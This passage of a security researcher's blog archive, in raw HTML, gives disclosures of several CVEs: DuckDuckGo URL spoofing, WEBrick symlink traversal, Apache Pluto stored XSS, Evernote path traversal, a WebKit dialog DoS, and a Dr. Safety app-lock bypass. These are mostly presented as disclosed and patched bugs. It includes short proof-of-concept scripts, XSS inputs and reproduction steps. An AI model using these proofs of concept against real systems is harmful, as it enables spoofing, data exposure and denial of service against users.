<span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">information to 3rd parties.</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;"></p></span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;"></p><img</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;"> </span><span class="na" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: teal; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">src=</span><span class="s" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #dd1144; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">"https://duckduckgo.com/assets/onboarding/bathroomguy/4-alpinist-v2.svg"</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">></span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;"><script></span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="kd" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; font-weight: bold; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">function</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;"> </span><span class="nx" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">fakefuntion</span><span class="p" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">()</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="p" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">{</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="nx" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">location</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;"> </span><span class="o" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; font-weight: bold; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">=</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;"> </span><span class="s2" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #dd1144; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">"https://duckduckgo.com/"</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="p" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">}</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="nx" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">setInterval</span><span class="p" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">(</span><span class="s2" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #dd1144; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">"fakefuntion()"</span><span class="p" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">,</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;"> </span><span class="mi" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #009999; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">50</span><span class="p" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">);</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;"></script></body></html></span><br />
<span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;"><br /></span>
The actual magic happens at `fakefunction()` above-crafted javascript file loads the real www.duckduckgo.com in a loop of every 50 ms whereas the inner HTML can be modified accordingly.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3wtlfZguGlju1ln-5Pz6QakiFs30_c3p8RhPLusI4i8gzWgcstyyIWz2rJCVYeQEIzzxJ0r_90p9fkMppoIIG7nBF_gtGREi1NoYZ55DR60MVD_69JvUg1ix0jxIKiRF19VuWPHxbkvs/s1600/DuckDuckGo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1080" data-original-width="1146" height="301" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3wtlfZguGlju1ln-5Pz6QakiFs30_c3p8RhPLusI4i8gzWgcstyyIWz2rJCVYeQEIzzxJ0r_90p9fkMppoIIG7nBF_gtGREi1NoYZ55DR60MVD_69JvUg1ix0jxIKiRF19VuWPHxbkvs/s320/DuckDuckGo.png" width="320" /></a></div>
<div style="text-align: center;">
The above PoC shows the demonstration of the successful attack.</div>
<div style="text-align: center;">
<br /></div>
<b>Timeline:</b><br />
This issue was submitted to DuckDuckGo team via HackerOne on Oct 31st, 2018, DuckDuckGo rewarded with a swag on Nov 13th, 2018 but the issue was closed without a fix which says "team doesn't view it as a serious issue" and report was marked as informative. Further CVE-2019-12329 was assigned to this issue.<br />
<div>
<br /></div>
<div>
<br /></div>
</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-25459268758996193802019-05-24T06:35:00.000-07:002019-05-24T06:35:21.781-07:00PHDays - Fuzzing 101<div dir="ltr" style="text-align: left;" trbidi="on">
So, this year (2019) me along with my colleague <a href="https://twitter.com/p1ngfl0yd" target="_blank">Zubin</a> delivered a workshop in <a href="https://www.phdays.com/en/program/reports/fuzzing-101/" target="_blank">PHDays 9</a> on fuzzing. This workshop was mainly focused on an introduction to fuzzing using AFL and ASAN.<br />
<br />
The prime focus of the workshop would be around the following areas: Fuzzing using SPIKE, blind and input-based fuzzing (AFL), finding memory bugs using ASAN with AFL integration, protocol fuzzing (HTTP, FTP, SMTP). Then we concluded the workshop by showcasing multiple bugs found during their research.<br />
<br />
<iframe height="370" src="https://drive.google.com/file/d/1JKhpvCjQZV4Ovqk7ASrUzIdLZNKNLEt3/preview" width="650"></iframe><br />
<br />
<b>Slides:</b> <a href="https://github.com/RootUp/PHDays9/blob/master/Slides/Fuzzing-101_PHDays.pdf">Fuzzing-101_PHDays.pdf</a><br />
<br />
<b>Ubuntu OVA file: </b><a href="https://drive.google.com/file/d/1FjUsIa3e6z0kQ93-7ogV_oJMPcuOPyGI/view" target="_blank">Ubuntu_Fuzzing101.ova</a><b> : </b>Size: 4.x GB, 4GB RAM, 40 GB HD.<br />
<b>Username:</b> PHDays<br />
<b>Password:</b> E@sy<br />
<br />
We have further plans to take an advanced workshop on this in other conferences. Fork this repository on <a href="https://github.com/RootUp/PHDays9" target="_blank">GitHub</a>. If you want to read more about fuzzing here is what I <a href="https://www.inputzero.io/2019/02/fuzzing-webkit.html" target="_blank">wrote</a> while fuzzing WebKit.</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-77073591841726842732019-05-12T00:29:00.000-07:002019-05-12T00:29:06.055-07:00Path Traversal in WEBrick via SYMLINK<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Summary: </b>The WEBrick gem 1.4.2 for Ruby allows directory traversal if the attacker once had local access to create a symlink to a location outside of the web root directory. <br />
<b><br /></b>
<b>NOTE:</b> The vendor states that this is analogous to Options FollowSymlinks in the Apache HTTP Server, and therefore it is "not a problem."<br />
<br />
<b>Technical Observation:</b> A path traversal issue was observed in WEBrick (WEBrick/1.4.2 (Ruby/2.6.3/)) via symlink. WEBrick serves static page for the current directory once enabled, however using symlink attacker could view data outside the hosted/running directory.<br />
<br />
<b>Steps to reproduce:</b><br />
<blockquote style="border-left-color: rgb(224, 224, 224); border-left-style: solid; border-left-width: 3px; caret-color: rgb(51, 51, 51); color: #333333; font-family: Verdana, sans-serif; font-size: 12px; font-style: italic; margin-left: 0px; padding-left: 0.6em;">
mkdir nothing<br />
cd nothing<br />
ln -s ../../ symlnk<br />
ruby -run -ehttpd . -p8080</blockquote>
<b>Impact</b><b>: </b>This would allow the attacker to view sensitive data outside the root/running directory.<br />
<br />
<b class="">Remediation</b><b class="">:</b> In order to solve the problem, we should simply check the absolute/real path of any user input paths and if the absolute path is outside the home directory, then return an error response, This way users will not lose the possible benefits of symbolic links.<br />
<b>OR</b><br />
Educating users about this behavior in the docs and probably providing a flag to disable/enable the symlinks.<br />
<br />
After <a href="https://bugs.ruby-lang.org/issues/15835" target="_blank">reporting</a> this to WEBrick team, they will add below statement in WEBrick documentation.<br />
<br />
<span style="color: #333333; font-family: "verdana" , sans-serif; font-size: 12px;">"WEBrick can be run as a production server for small loads. Be aware that symlinks</span><span style="color: #333333; font-family: "verdana" , sans-serif; font-size: 12px;"> </span><span style="color: #333333; font-family: "verdana" , sans-serif; font-size: 12px;">might allow users to view data outside of the designated root directory, such as </span><span style="color: #333333; font-family: "verdana" , sans-serif; font-size: 12px;">for the Apache webserver</span><span style="color: #333333; font-family: "verdana" , sans-serif; font-size: 12px;"> with the FollowSymlinks option enabled".</span><br />
<span style="color: #333333; font-family: "verdana" , sans-serif; font-size: 12px;"><br /></span>
Documentation: <a href="https://ruby-doc.org/stdlib-2.6.3/libdoc/webrick/rdoc/WEBrick.html">https://ruby-doc.org/stdlib-2.6.3/libdoc/webrick/rdoc/WEBrick.html</a><br />
<br />
Apart from WEBrick, I reported the same vulnerability in one of the npm module (<a href="https://www.npmjs.com/package/simplehttpserver" target="_blank">simplehttpserver</a>) via H1 but went duplicate. Also, the issue exists in python modules `SimpleHTTPServer` and `http.server` but python security team says these servers should not be used in production and they have already mentioned it in their <a href="https://docs.python.org/3/library/http.server.html" target="_blank">documentation</a>.<br />
<br />
I also found <b>PHP -S</b> module and <b>hhvm</b> protect against this vulnerability by default, a disputed <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-11879" target="_blank">CVE-2019-11879</a> was assigned to this issue against WEBrick.</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-10276095443084707162019-04-26T02:30:00.001-07:002019-04-26T02:30:11.751-07:00XSS everywhere<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Summary: </b>The "Chat Room" portlet demo that ships with the Apache Pluto Tomcat bundle contains a <span class="ILfuVd">persistent</span> Cross-Site Scripting (XSS) vulnerability. Specifically, if an attacker can input raw HTML markup into the "Name" or "Message" input fields and submits the form, then the inputted HTML markup will be embedded in the subsequent web page.<br />
<br />
<b>Versions Affected:</b><br />
Apache pluto 3.0.0, 3.0.1<br />
<br />
<b>Example:</b><br />
<pre class="rich-diff-level-zero"><code class="rich-diff-level-one">- Start the Apache Pluto Tomcat bundle
- Visit http://localhost:8080/pluto/portal/Chat%20Room%20Demo
- In the name field, enter:
<input type="text" value="Name field XSS></input>
- Click Submit
- In the message field, enter:
<input type="text" value="Message field XSS></input></code> </pre>
<b>Patch:</b><br />
<pre class="rich-diff-level-zero"><code class="rich-diff-level-one">diff --git demo/chat-room-demo-portlet/pom.xml demo/chat-room-demo-portlet/pom.xml
index e37d88ddb..1e4b2e4dd 100644
--- demo/chat-room-demo-portlet/pom.xml
+++ demo/chat-room-demo-portlet/pom.xml
@@ -43,6 +43,10 @@
<version>6.0</version>
<scope>provided</scope>
</dependency>
+ <dependency>
+ <groupId>org.apache.commons</groupId>
+ <artifactId>commons-lang3</artifactId>
+ </dependency>
<!-- for eclipse JSP tooling purposes -->
<dependency>
<groupId>javax.servlet.jsp</groupId>
diff --git demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/ChatHistory.java demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/ChatHistory.java
index df82f6a4a..b9f61cf02 100644
--- demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/ChatHistory.java
+++ demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/ChatHistory.java
@@ -18,6 +18,8 @@
package org.apache.portals.pluto.demo.chat;
+import org.apache.commons.lang3.StringEscapeUtils;
+
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
@@ -66,7 +68,7 @@ public class ChatHistory {
StringBuilder txt = new StringBuilder(128);
synchronized (messages) {
for (String msg : messages) {
- txt.append("<p>").append(msg).append("</p>\n");
+ txt.append("<p>").append(StringEscapeUtils.escapeHtml4(msg)).append("</p>\n");
}
}
return txt.toString();
diff --git demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/HelloWorldRender.java demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/HelloWorldRender.java
index 50ac6befd..6eaa6236b 100644
--- demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/HelloWorldRender.java
+++ demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/HelloWorldRender.java
@@ -19,6 +19,8 @@
package org.apache.portals.pluto.demo.chat;
+import org.apache.commons.lang3.StringEscapeUtils;
+
import javax.inject.Inject;
import javax.portlet.annotations.RenderMethod;
@@ -48,7 +50,7 @@ public class HelloWorldRender {
txt.append("<h3>Hello \n");
// Get the name from the bean. If it hasn't been set, just greet the world.
if (nameBean.getName() != null) {
- txt.append(nameBean.getName());
+ txt.append(StringEscapeUtils.escapeHtml4(nameBean.getName()));
} else {
txt.append("World\n");
}
</code></pre>
<b>Mitigation:</b><br />
* Uninstall the ChatRoomDemo war file<br />
- or -<br />
* migrate to version 3.1.0 of the chat-room-demo war file<br />
<br />
Later <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0186" target="_blank">CVE-2019-0186</a> was assigned to this issue and here is the advisory from apache pluto<span style="font-size: x-small;"> [<a href="https://portals.apache.org/pluto/security.html" rel="nofollow" target="_blank">1</a>] </span><span style="font-size: x-small;">[<a href="https://www.openwall.com/lists/oss-security/2019/04/25/8" rel="nofollow" target="_blank">2</a>]. </span></div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-77788034577581716312019-04-17T05:53:00.000-07:002019-04-17T07:22:23.751-07:00Code execution - Evernote<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Summary:</b><br />
A local file path traversal issue exists in Evernote 7.9 for macOS which allows an attacker to execute arbitrary programs.<br />
<br />
<iframe allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="423" src="https://www.youtube.com/embed/BAp9rGRR3Mw" width="677"></iframe>
<br />
<br />
<b>Technical observation:</b><br />
A crafted URI can be used in a note to perform this attack using <b>file:/// </b>as an argument or by traversing to any directory like<br />
(<b>../../../../something.app</b>).<br />
<br />
Since Evernote also has a feature of sharing notes, in such a case an attacker could leverage this vulnerability and send crafted notes (.enex) to the victim to perform further attacks.<br />
<br />
<b>Patch: </b><br />
A patch for this issue was released in Evernote 7.10 Beta 1 and 7.9.1 GA for macOS <span style="font-size: xx-small;">[<a href="https://evernote.com/security/updates" target="_blank">MACOSNOTE-28840</a>]</span>. CVE-2019-10038 was assigned to this issue.</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-12350360522428587412019-02-23T12:09:00.000-08:002019-07-30T06:19:21.592-07:00Fuzzing Webkit<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Summary: </b>While fuzzing webkit the UIProcess subsystem in WebKit, as used in WebKitGTK through 2.23.90 and WebKitGTK+ through 2.22.6 and other products, does not prevent the script dialog size from exceeding the web view size, which allows remote attackers to cause a denial of service (Buffer Overflow) or possibly have unspecified other impact, related to files such as UIProcess/API/gtk/<b>WebKitScriptDialogImpl.cpp</b> and UIProcess/API/gtk/<b>WebKitWebViewGtk.cpp</b>.<br />
<br />
<b>System Specifications: </b>My setup was done using Ubuntu 16.04 LTS (my base OS). You can use macOS as well as it has Xcode and Safari by default. If you are using Ubuntu in VM please allocate as much memory and CPUs as possible.<br />
<br />
<b>Source Code: </b>You can download webkit source code from <a href="http://github.com/webKit/webkit" target="_blank">here</a> or simply git:<br />
<br />
<b><span style="font-size: x-small;">cmd:</span> </b><i>git clone git://git.webkit.org/WebKit.git webkit </i><br />
<br />
Before you build webkit make sure to install necessary dependencies, it will require a lot of trial and error while installing the dependencies but perseverance always wins.<br />
<b><br /></b><b><span style="font-size: x-small;">cmd:</span> </b><i>./Tools/gtk/install-dependencies</i><br />
<b><br /></b><b>Build:</b> To build webkit in macOS use,<br />
<b><br /></b> <b><span style="font-size: x-small;">cmd:</span> </b><i>./Tools/Scripts/build-webkit </i><b> </b><br />
<br />
<b><span style="font-size: x-small;">cmd:</span> </b><i>mkdir build</i><br />
<i> cd build</i><br />
<i> CC=clang CXX=clang++ cmake -GNinja -DFUZZ=1 ../</i><br />
<i> ninja</i><br />
<br />
<b>For ASAN:</b><br />
<b><br /></b>
Enabling ASAN or MSAN flags to see runtime bugs while building the packages.<br />
<br />
<b><span style="font-size: x-small;">cmd:</span></b><i> -DCMAKE_CXX_FLAGS="-fsanitize=address -fsanitize=leak -g"</i><br />
<i><br /></i>The compilation of webkit is a time and memory consuming task, make sure you don't run out of patience. Once successfully build you can test by running safari or providing the path of any webkit application.<br />
<br />
<b><span style="font-size: x-small;">cmd: </span></b><i>./Tools/Scripts/run-safari</i><br />
<i><br /></i> <b><span style="font-size: x-small;">cmd: </span></b><i>./Tools/Scripts/run-webkit-app </i><br />
<i><br /></i><b>Start fuzzing: </b>From the /build directory you can run fuzzer<span style="font-size: xx-small;">[<a href="https://github.com/WebKit/webkit/blob/master/Source/ThirdParty/libwebrtc/Source/third_party/boringssl/src/FUZZING.md" target="_blank">1</a>]</span><br />
<br />
<b><span style="font-size: x-small;">cmd: </span></b><i>./fuzz/cert -max_len=1000 -jobs=32 -workers=32 ../fuzz/cert_corpus/</i><br />
<br />
This is one of the methods to <a href="https://github.com/WebKit/webkit/blob/master/Source/ThirdParty/libwebrtc/Source/third_party/boringssl/src/FUZZING.md" target="_blank">fuzz</a> webkit, while running the libFuzzer continuously for multiple days, I did not observe any crashes or hangs. The reason being there are many researchers out there who have fuzzed webkit and reported several bugs in past. (and I've just started..)<br />
<br />
Now what?<br />
<br />
I started researching more about webkit and found out that "<a href="https://wiki.gnome.org/Apps/Web" target="_blank">epiphany-browser</a>" utilizes the webkit browser engine, I thought that this browser might have been untouched in terms of fuzzing by a lot of the researchers, hence this time I used <a href="http://lcamtuf.coredump.cx/afl/" target="_blank">AFL</a> to fuzz epiphany. For test-cases, I used <a href="https://github.com/googleprojectzero/domato" target="_blank">domato</a> from google project zero (A DOM fuzzer) to provide input to AFL<br />
<br />
<b>Source code:</b> <a href="https://github.com/GNOME/epiphany" target="_blank">Epiphany Browser</a><br />
<br />
<b>With AFL: </b><br />
<i><br /></i> <b><span style="font-size: x-small;">cmd: </span></b><i>mkdir build && cd build </i><br />
<i> CC=afl-gcc meson --default-library=static ../</i><br />
<i> AFL_HARDEN=1 ninja</i><br />
<i><br /></i> Once done you can start fuzzing epiphany with AFL.<br />
<i><br /></i> <b><span style="font-size: x-small;">cmd: </span></b><i>afl-fuzz -i in/ -o out/ binary @@ </i><br />
<i><br /></i> I let AFL running for 4 days and observed 16 crashes, among those 7 were unique crashes and 4 were hangs (Happy face). I started analyzing the observed hangs. One of the PoC from AFL freezes the epiphany browser by causing the UI process to terminate and below debug traces were left.<br />
<pre class="bz_comment_text" id="comment_text_0" style="white-space: pre-wrap; width: auto;">(epiphany:4423): Gdk-WARNING **: Native Windows wider or taller than 32767 pixels are not supported
Gdk-Message: Error 71 (Protocol error) dispatching to Wayland display</pre>
Looking at the above traces I came to the conclusion that the native UI window cannot open dialog boxes more than <span style="white-space: pre-wrap;">32767 pixels.</span><br />
<span style="white-space: pre-wrap;"><br /></span> <span style="white-space: pre-wrap;">Rather than using AFL PoC every time, I generated my own test-case as I just needed to pass some random characters in native UI windows to produce this hang.</span><br />
<pre class="bz_comment_text" id="comment_text_13" style="white-space: pre-wrap; width: auto;"><script>
var a = '';
for (var i = 1; i <= 5000; i++)
{
a += 'A';
}
alert(a);
</script></pre>
<span style="white-space: pre-wrap;">You can run the above JS on a vulnerable version of epiphany browser to test this issue. </span><span style="white-space: pre-wrap;">I went ahead and found that </span><a href="https://github.com/WebKit/webkit/blob/master/Source/WebKit/UIProcess/API/gtk/WebKitScriptDialogGtk.cpp" target="_blank">WebKitScriptDialogGtk.cpp</a> along with WebKitScriptDialogImpl.cpp & WebKitWebViewGtk.cpp from webkit source code are responsible for this issue and figured out the below snippet of code from <a href="https://github.com/WebKit/webkit/blob/master/Source/WebKit/UIProcess/API/gtk/WebKitScriptDialogGtk.cpp" target="_blank">WebKitScriptDialogGtk.cpp</a> was the source of the vulnerability.<br />
<pre class="bz_comment_text" id="comment_text_5" style="white-space: pre-wrap; width: auto;">static GtkWidget* webkitWebViewCreateJavaScriptDialog(WebKitWebView* webView, GtkMessageType type, GtkButtonsType buttons, int defaultResponse, const char* primaryText, const char* secondaryText = nullptr)
{
GtkWidget* parent = gtk_widget_get_toplevel(GTK_WIDGET(webView));
GtkWidget* dialog = gtk_message_dialog_new(WebCore::widgetIsOnscreenToplevelWindow(parent) ? GTK_WINDOW(parent) : nullptr,
GTK_DIALOG_DESTROY_WITH_PARENT, type, buttons, "%s", primaryText);
if (secondaryText)
gtk_message_dialog_format_secondary_text(GTK_MESSAGE_DIALOG(dialog), "%s", secondaryText);
GUniquePtr<char> title(g_strdup_printf("JavaScript - %s", webkitWebViewGetPage(webView).pageLoadState().url().utf8().data()));
gtk_window_set_title(GTK_WINDOW(dialog), title.get());
if (buttons != GTK_BUTTONS_NONE)
gtk_dialog_set_default_response(GTK_DIALOG(dialog), defaultResponse);
return dialog;
}</pre>
After that I submitted this bug in webkit, the issue was <a href="https://github.com/WebKit/webkit/commit/6f9b511a115311b13c06eb58038ddc2c78da5531" target="_blank">patched</a> and CVE-2019-8375 was assigned which states "This allows remote attackers to cause a denial of service (Buffer Overflow) or possibly have unspecified other impact."<br />
<br />
<b>Metasploit module: </b>It is a denial of service vulnerability and you can simply use <a href="https://www.rubydoc.info/github/rapid7/metasploit-framework/Msf/Exploit/Remote/HttpServer" target="_blank">RemoteHTTPServer</a> to write a quick MSF module for this.<br />
<script src="https://gist.github.com/RootUp/8d55e2c4c86afebc2c6be562a5085356.js"></script> In the past, I have created <a href="http://github.com/rootup/bfuzz" target="_blank">BFuzz</a> (DOM Fuzzer) which automates the task of generating multiple test-cases using domato, which can be further used to fuzz browsers of your choice.<br />
<br />
<i>However, there are still 7 unique crashes and 3 hangs which I haven't analyzed yet, that may be covered in one of my upcoming blog posts.</i><br />
<div style="text-align: right;">
</div>
</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-10494869232014576072019-02-13T09:41:00.000-08:002019-02-13T09:41:17.096-08:00Say OK Google!<div dir="ltr" style="text-align: left;" trbidi="on">
Hi Internet,<br />
<br />
<b>Summary:</b> The inbuilt applock of <a href="https://play.google.com/store/apps/details?id=com.trendmicro.freetmms.gmobi&hl=en" target="_blank">Dr. Safety</a> can be bypassed locally by saying "OK Google" and then viewing the activity pane, which was left unpatched by TrendMicro.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrLcmvlmuDoMyn-Cv2JWlv7aAKgE7Pw6on3T8YHkKh3vl7ihjq2Mzf5H520mccKhaxdgbjcSXbrSAMdJPmvpfL7s0kbYPi05FOlCA1ILMaVXGcxQTHYnIbXPNe6LuTCbXMgOIX4xdC2gc/s1600/Dr.Safety_Bypass.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="120" data-original-width="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrLcmvlmuDoMyn-Cv2JWlv7aAKgE7Pw6on3T8YHkKh3vl7ihjq2Mzf5H520mccKhaxdgbjcSXbrSAMdJPmvpfL7s0kbYPi05FOlCA1ILMaVXGcxQTHYnIbXPNe6LuTCbXMgOIX4xdC2gc/s1600/Dr.Safety_Bypass.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: xx-small;">Img Src: https://lh6.ggpht.com/</span></div>
<br />
After finding <a href="https://esupport.trendmicro.com/en-us/home/pages/technical-support/1121933.aspx" target="_blank">Same Origin Policy Bypass</a> in Trend Micro Dr. Safety for Android (Consumer), I started digging more on this application. It also has a feature of applock which enables users to lock their respective applications via secure pin or fingerprint.<br />
<br />
This may not be a great bug because only a local attacker can exploit the issue, but the steps to reproduce this issue was innovative (personal opinion).<br />
<br />
<b>Steps to reproduce:</b><br />
<b>1.</b> Lock all your apps using Dr. Safety app lock. (Google, Gmail, Slack etc.)<br />
<b>2.</b> Once all applications are locked by Dr. Safety app lock, Say <b>OK Google</b>. (Assuming your OK Google service is also locked it will ask for pin or pattern).<br />
<b>3.</b> But continue saying such as "My emails from Sanjay"<br />
<b>4.</b> In background "OK Google" replies "<b>This is what i found ....</b>" (However, still we cant see the data because Dr. Safety app is asking for pin/pattern #Step2).<br />
<b>5.</b> Now, just try closing that window by using activity pane. (Which actually allows you to close all running apps).<br />
<b>6.</b> Bingo! In app preview you will see the glimpse of email from "Sanjay" or Mr.XYZ. Below PoC for reference.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
